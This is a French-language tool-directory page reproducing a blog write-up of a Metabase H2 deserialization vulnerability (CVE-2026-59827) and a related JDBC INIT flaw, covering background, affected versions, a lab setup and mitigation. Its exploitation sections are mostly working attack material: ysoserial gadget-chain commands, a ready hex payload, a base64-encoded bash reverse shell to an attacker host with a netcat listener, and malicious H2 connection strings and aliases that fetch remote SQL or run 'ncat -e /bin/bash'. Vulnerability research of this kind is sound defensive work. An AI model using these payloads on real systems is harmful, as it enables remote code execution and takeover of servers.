Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-59827 — Blog on CVE-2026-59827, Unsafe H2 query ouput deserialization | Kitploit
Outils/GitHubGitHub/c0gnit00/cve-2026-59827
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubc0gnit00/cve-2026-59827

CVE-2026-59827

Blog on CVE-2026-59827, Unsafe H2 query ouput deserialization

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-59827 — Désérialisation non sécurisée des résultats de requêtes H2 dans Metabase

GHSA-w95f-x9v9-wv36 | CVSS 9.9 Critique | CWE-502 : Désérialisation de données non fiables

eror loading image

Aperçu

CVE-2026-59827 est une vulnérabilité critique d'exécution de code à distance dans Metabase, la plateforme open-source populaire de business intelligence et d'analyse de données. Le défaut provient de la manière dont Metabase traite les résultats de requêtes renvoyés par une connexion de base de données H2. Lorsqu'une requête SQL native sur une source H2 renvoie une colonne typée comme OTHER, Metabase désérialise les octets bruts de cette colonne en un objet Java sans effectuer aucune validation. Un utilisateur authentifié pouvant exécuter des requêtes natives peut donc introduire clandestinement une charge utile sérialisée malveillante dans l'ensemble de résultats et déclencher l'exécution de code arbitraire sur le serveur hébergeant Metabase.

La vulnérabilité a reçu un score CVSS de 9,9, reflétant les conditions préalables minimales requises et l'exécution complète de code côté serveur qui résulte d'une exploitation réussie.


Schéma de versionnage de Metabase

Metabase propose deux éditions parallèles issues du même cycle de publication. L'édition open-source utilise des numéros de version préfixés par 0 — par exemple, v0.61.1. L'édition entreprise (commerciale) utilise des numéros de version préfixés par 1 — par exemple, v1.61.1. Les deux éditions partagent la même base de code sous-jacente et sont publiées ensemble, donc une vulnérabilité qui affecte v1.61.0 affecte également v0.61.0. Tout au long de cet article, les numéros de version sont écrits avec le préfixe entreprise 1.xx, mais chaque version affectée correspond directement à son homologue open-source 0.xx en remplaçant le 1 initial par 0.


Versions affectées

Les CVE-2026-59826 et CVE-2026-59827 ont été divulguées ensemble en juillet 2026. Elles partagent des plages de versions qui se chevauchent mais ont des points de correctif différents.

CVE-2026-59827 — Désérialisation non sécurisée (ce blog)

Les versions entreprise vulnérables sont 1.58.0 à 1.58.14, 1.59.0 à 1.59.11, 1.60.0 à 1.60.6.2, et 1.61.0 à 1.61.1.3. Les versions open-source correspondantes sont 0.58.0 à 0.58.14, 0.59.0 à 0.59.11, 0.60.0 à 0.60.6.2, et 0.61.0 à 0.61.1.3.

Un correctif interne a d'abord été publié sous les versions 1.61.1.4 (entreprise) et 0.61.1.4 (open-source). La première version corrigée publiquement disponible dans la ligne 1.61 est 1.61.2 (v1.61.2.x / v0.61.2.x). Les instances Metabase Cloud ont été corrigées automatiquement par le fournisseur.

CVE-2026-59826 — Propriétés de connexion H2 non sécurisées (liée)

Les versions entreprise vulnérables sont 1.55.0 à 1.58.15.0, 1.59.0 à 1.59.11, 1.60.0 à 1.60.6.2, et 1.61.0 à l'ensemble de la ligne 1.61.1.x. La première version publique entièrement corrigée est 1.61.2 (v1.61.2.x / v0.61.2.x). Le périmètre de CVE-2026-59826 est plus large, remontant jusqu'à la ligne de version 1.55, reflétant la présence plus ancienne du chemin de code de création de base de données insuffisamment validé qu'elle exploite.


Contexte : Désérialisation Java

Le mécanisme de sérialisation Java permet de convertir un objet en mémoire en un flux d'octets plat, de le stocker ou de le transmettre, puis de le reconstruire ultérieurement en appelant ObjectInputStream.readObject(). La propriété critique de ce mécanisme est que la reconstruction exécute du code. Les constructeurs de classe, les remplacements de readObject et les finalisateurs s'exécutent tous pendant la désérialisation. Si les octets lus proviennent d'une source non fiable, un attaquant peut les façonner pour déclencher des appels de méthode arbitraires via une séquence de classes existantes et légitimes déjà chargées dans la JVM. Ces séquences sont appelées chaînes de gadgets.

Les chaînes de gadgets ne nécessitent pas d'introduire de nouveau code dans l'application. Elles exploitent le câblage des classes de bibliothèques existantes dont les méthodes normales, lorsqu'elles sont appelées dans le bon ordre pendant la désérialisation, atteignent finalement un puits tel que Runtime.exec(). Des outils comme ysoserial existent spécifiquement pour générer ces charges utiles pour des bibliothèques largement déployées telles que Apache Commons Collections, Spring Framework, et d'autres.


Contexte : Le type OTHER de H2

H2 est une base de données relationnelle embarquée pure Java. Elle définit un type de colonne SQL spécial appelé OTHER qui agit comme un passe-plat pour des objets Java arbitraires. Lorsque H2 stocke une valeur dans une colonne OTHER, il écrit les octets produits par ObjectOutputStream de Java. Lorsqu'il relit la valeur, il appelle ObjectInputStream.readObject() pour reconstruire l'objet. Les octets sérialisés bruts peuvent également être fournis directement dans une requête en utilisant la syntaxe littérale hexadécimale de H2 :

root@kitploit:~
SELECT CAST(X'ACED0005...' AS OTHER); 
-- or 
SELECT X'ACED0005...'::OTHER;

Le préfixe ACED suivi de 0005 est le nombre magique du flux de sérialisation Java et la version du protocole. Toute chaîne hexadécimale commençant par ACED0005 est un flux d'objets sérialisés Java.

Lorsque H2 traite cette requête, il désérialise les octets hexadécimaux côté base de données. L'objet résultant est ensuite renvoyé à l'application appelante via le ResultSet JDBC. Si l'application inspecte la valeur de la colonne — par exemple, pour la formater en vue d'un affichage — elle peut déclencher un traitement supplémentaire. C'est exactement ce que fait Metabase dans le chemin de code vulnérable.


Comment fonctionne la vulnérabilité

Le chemin de code vulnérable

Metabase reçoit le ResultSet JDBC du pilote H2 et inspecte les métadonnées des colonnes pour décider comment restituer chaque valeur à l'utilisateur. Lorsqu'il rencontre une colonne avec le type JDBC Types.OTHER (également signalé comme JAVA_OBJECT), les versions vulnérables de Metabase tentent de désérialiser les octets bruts afin de produire une représentation affichable. Cet appel de désérialisation, ObjectInputStream.readObject(), s'exécute sans aucun filtrage de liste blanche ni validation de classe.

La séquence des événements est la suivante :

  1. L'attaquant authentifié ouvre l'éditeur de requêtes SQL de Metabase et cible une base de données H2 connectée. La base de données d'exemple est suffisante.
  2. L'attaquant soumet une requête SQL native qui renvoie une colonne de type OTHER contenant une charge utile sérialisée conçue.
  3. H2 traite la requête et renvoie les octets bruts sous forme de colonne JAVA_OBJECT dans le ResultSet.
  4. Le pipeline de traitement des résultats de Metabase rencontre le type de colonne OTHER et appelle readObject() sur les octets.
  5. La chaîne de gadgets intégrée dans la charge utile se déclenche, atteignant Runtime.exec() et exécutant la commande de l'attaquant en tant qu'utilisateur du système d'exploitation exécutant le processus Metabase.

Le correctif

Les versions corrigées résolvent le problème en inspectant les métadonnées des résultats JDBC avant toute tentative de désérialisation. Si une colonne est typée comme JAVA_OBJECT, Metabase la rejette maintenant carrément plutôt que d'essayer de l'analyser.


Contraintes et surface d'attaque

Quel accès est requis

L'exploitation nécessite une authentification. L'attaquant doit posséder un compte Metabase avec une autorisation d'exécution de requêtes natives sur une base de données H2. Les comptes administrateurs satisfont à cette condition par défaut. Les comptes utilisateurs normaux peuvent également satisfaire à cette exigence si un administrateur leur a accordé l'autorisation de données de requêtes natives pour la base de données concernée.

H2 comme entrepôt de données a déjà été supprimé

Metabase a supprimé la prise en charge de l'ajout de H2 comme nouvelle connexion d'entrepôt de données dans la version 0.46.6.4, publiée en 2023. Toute tentative d'enregistrer une nouvelle connexion H2 via l'interface d'administration renvoie l'erreur « H2 n'est pas pris en charge comme entrepôt de données ». Cette suppression était une réponse à des vulnérabilités antérieures liées à H2 et visait à éliminer le risque de connexion à des instances H2 contrôlées par un attaquant.

Cependant, la suppression de H2 de l'interface utilisateur de connexion à l'entrepôt de données n'est pas la même chose que la suppression de H2 de Metabase. Deux bases de données H2 restent présentes dans chaque installation Metabase par défaut.

La première est la base de données d'application. Lorsque Metabase n'est pas configuré pour utiliser une base de données externe telle que PostgreSQL ou MySQL, il stocke ses propres métadonnées — questions, tableaux de bord, comptes utilisateurs et paramètres — dans un fichier H2 situé à /metabase-data/metabase.db.mv.db. Cette base de données n'est pas directement interrogeable via l'interface utilisateur de Metabase.

La seconde, et plus directement exploitable, est la base de données d'exemple. Lors de la configuration initiale, Metabase crée une base de données H2 préremplie avec des données d'exemple et la rend disponible en tant que connexion « Base de données d'exemple ». Cette connexion est présente par défaut dans chaque instance Metabase et constitue la principale surface d'attaque pour CVE-2026-59827. Il s'agit d'une connexion H2 active sur laquelle les utilisateurs peuvent exécuter des requêtes SQL natives, et la chaîne de connexion visible dans le panneau d'administration pointe vers file:/plugins/sample-database.db.

Autorisation d'écriture sur la base de données d'exemple

La base de données d'exemple impose un accès en lecture seule pour tous les utilisateurs, y compris les administrateurs. La page des paramètres de base de données de Metabase à l'adresse http://localhost:3000/admin/databases permet d'accorder l'accès en écriture sur les bases de données connectées, mais le bouton n'est pas disponible pour la base de données d'exemple. Cela signifie que les instructions du langage de manipulation de données telles que CREATE, UPDATE et DELETE ne peuvent pas être exécutées sur la base de données d'exemple par des moyens normaux.

Paramètres de la base de données d'administration Metabase montrant les contrôles d'accès en écriture

Cette restriction est importante car elle ferme certaines voies d'attaque alternatives. Par exemple, le moteur H2 prend en charge une instruction CREATE ALIAS qui peut définir une fonction Java et l'appeler :

root@kitploit:~
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
} $$;

Étant donné que l'accès en écriture est verrouillé sur la base de données d'exemple, cette voie DDL n'est pas disponible. La voie de désérialisation via SELECT CAST(X'...' AS OTHER) est le vecteur d'exploitation viable précisément parce qu'elle ne nécessite qu'une instruction SELECT, qui est autorisée pour tous les utilisateurs.


Configuration d'un environnement vulnérable

Pour tester cette vulnérabilité dans un environnement de laboratoire contrôlé, exécutez une version de Metabase dans la plage affectée :

root@kitploit:~
docker run -d -p 3000:3000 \
  --name metabase-vulnerable \
  -v metabase-data:/metabase-data \
  metabase/metabase:v0.61.1

Metabase s'initialisera à l'adresse http://localhost:3000, créera sa base de données d'application H2 dans /metabase-data/metabase.db.mv.db et provisionnera automatiquement la base de données d'exemple. Terminez la configuration initiale du compte pour obtenir une session authentifiée. Après la configuration, accédez à l'éditeur SQL pour la base de données d'exemple. C'est l'environnement d'exécution de l'exploit.


Exploitation de la vulnérabilité

Étape 1 — Confirmer que la désérialisation est active

Avant de tenter l'exécution de commande, confirmez que le chemin de désérialisation est accessible. La chaîne de gadgets URLDNS d'ysoserial génère une charge utile qui, lorsqu'elle est désérialisée, effectue une requête DNS sortante vers un nom d'hôte spécifié. Elle n'exécute aucune commande système, ce qui en fait une sonde sûre pour établir que readObject() est bien appelé.

Générez la charge utile :

root@kitploit:~
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'

Cela produit une chaîne hexadécimale commençant par aced0005. Un exemple de sortie hexadécimale d'une charge utile capturée :

root@kitploit:~
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78

Étape 2 — Exécuter la requête sonde URLDNS

Ouvrez l'éditeur SQL dans Metabase sur la base de données d'exemple et exécutez ce qui suit, en remplaçant la chaîne hexadécimale générée pour votre nom d'hôte OAST :

root@kitploit:~
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;

Surveillez votre écouteur OAST. Recevoir une requête DNS provenant de l'adresse IP du serveur Metabase confirme que readObject() a été appelé et que la désérialisation se produit sur la colonne OTHER.

Requête sonde DNS soumise dans l'éditeur SQL Metabase Rappel DNS reçu dans l'écouteur OAST confirmant la désérialisation

Étape 3 — Identifier une chaîne de gadgets fonctionnelle

La chaîne de gadgets qui permet d'exécuter du code dépend des bibliothèques Java présentes dans le classpath du serveur Metabase. Essayez les chaînes suivantes dans l'ordre :

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin

Convertissez chaque charge utile binaire au format hexadécimal requis par la requête SQL :

root@kitploit:~
xxd -p payload.bin | tr -d '\n' > payload.hex

Soumettez ensuite en utilisant le même motif SELECT X'...'::OTHER dans l'éditeur SQL de Metabase et observez si la sortie de la commande est reflétée dans un message d'erreur ou une réponse.

Étape 4 — Exécuter la charge utile d'exécution de commande

Une fois qu'une chaîne de gadgets fonctionnelle est identifiée, remplacez la commande de test par la charge utile souhaitée. Pour un shell inverse, encodez la commande en base64 pour éviter les problèmes de guillemets dans le shell :

root@kitploit:~
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64

Générez la charge utile ysoserial avec le motif d'exécution décodé en base64 :

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
  > payload.bin

xxd -p payload.bin | tr -d '\n' > payload.hex

Configurez l'écouteur avant de soumettre la requête :

root@kitploit:~
nc -lvnp 4444

Collez ensuite l'hexadécimal dans l'éditeur SQL :

root@kitploit:~
SELECT X'<collez la chaîne hexadécimale ici>'::OTHER;

Lorsque Metabase traite l'ensemble de résultats et rencontre la colonne OTHER, readObject() se déclenche, la chaîne de gadgets s'exécute et le shell inverse se connecte.


Dépannage

Si une InvalidClassException est levée, la chaîne de gadgets dépend d'une version de bibliothèque qui ne correspond pas à celle présente sur le serveur. Essayez une chaîne différente.

Si rien ne se produit après la soumission de la requête, soit l'instance est déjà corrigée, soit les filtres de sérialisation JEP 290 sont actifs et bloquent la chaîne de gadgets, soit le type de colonne OTHER n'est pas traité par le chemin de code vulnérable.

Si une ClassNotFoundException se produit, la bibliothèque requise est absente du classpath. Essayez une chaîne différente.

En sortie de l'interface utilisateur, vous n'obtiendrez que l'erreur « We're experiencing server issue » :

error loading image

Relation avec CVE-2026-59826

CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) est une vulnérabilité connexe divulguée en même temps. Alors que CVE-2026-59827 exploite la désérialisation via les résultats de requêtes, CVE-2026-59826 cible un chemin de code distinct : le point de terminaison d'enregistrement de base de données. Un administrateur authentifié peut soumettre une URL de connexion JDBC H2 conçue contenant un paramètre INIT qui est exécuté lorsque la connexion est établie. Étant donné que la validation appliquée au champ INIT était insuffisante sur certains chemins de code de création et d'édition de base de données, un attaquant disposant d'un accès administrateur peut atteindre l'exécution de code via la chaîne de connexion plutôt que via une requête.

Une URL de connexion INIT malveillante prend une forme telle que :

root@kitploit:~
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"

Le fichier SQL servi par l'attaquant peut définir et appeler un alias Java qui exécute des commandes shell :

root@kitploit:~
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(command).getInputStream()
    ).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')

Alternativement, la chaîne INIT peut intégrer le déclencheur directement sans récupération de fichier distant :

root@kitploit:~
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x

Les deux CVE-2026-59826 et CVE-2026-59827 partagent la même cause racine — un durcissement insuffisant autour des fonctionnalités d'exécution côté serveur de H2 — mais diffèrent par les chemins de code spécifiques exploités et le niveau de privilège requis.


Atténuation et correction

Mettez à niveau Metabase vers l'une des versions corrigées suivantes : 1.58.15, 1.59.12, 1.60.6.3 ou 1.61.1.4. Ces versions modifient le pipeline de traitement des résultats pour inspecter les métadonnées des colonnes JDBC et refuser de traiter toute colonne signalée comme de type JAVA_OBJECT ou OTHER, empêchant ainsi l'appel de désérialisation.

Si une mise à niveau immédiate n'est pas possible, restreignez les autorisations de requêtes natives. Supprimez l'autorisation d'exécution de requêtes natives pour tous les utilisateurs non administrateurs sur les bases de données H2, y compris la base de données d'exemple. Cela réduit la surface d'attaque aux seuls comptes administrateurs. Par ailleurs, demandez-vous si la base de données d'exemple est vraiment nécessaire ; la désactiver ou la supprimer élimine complètement la surface d'attaque H2 pour cette CVE.

Pour les instances auto-hébergées utilisant H2 comme base de données d'application, la documentation de Metabase recommande de migrer vers PostgreSQL ou MySQL comme backend de base de données d'application plus robuste et plus sécurisé.


Références

  • Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-59827
  • Avis GitHub GHSA-w95f-x9v9-wv36 : https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
  • Entrée OSV : https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36
  • Générateur de charges utiles ysoserial : https://github.com/frohoff/ysoserial/releases
Télécharger l’outil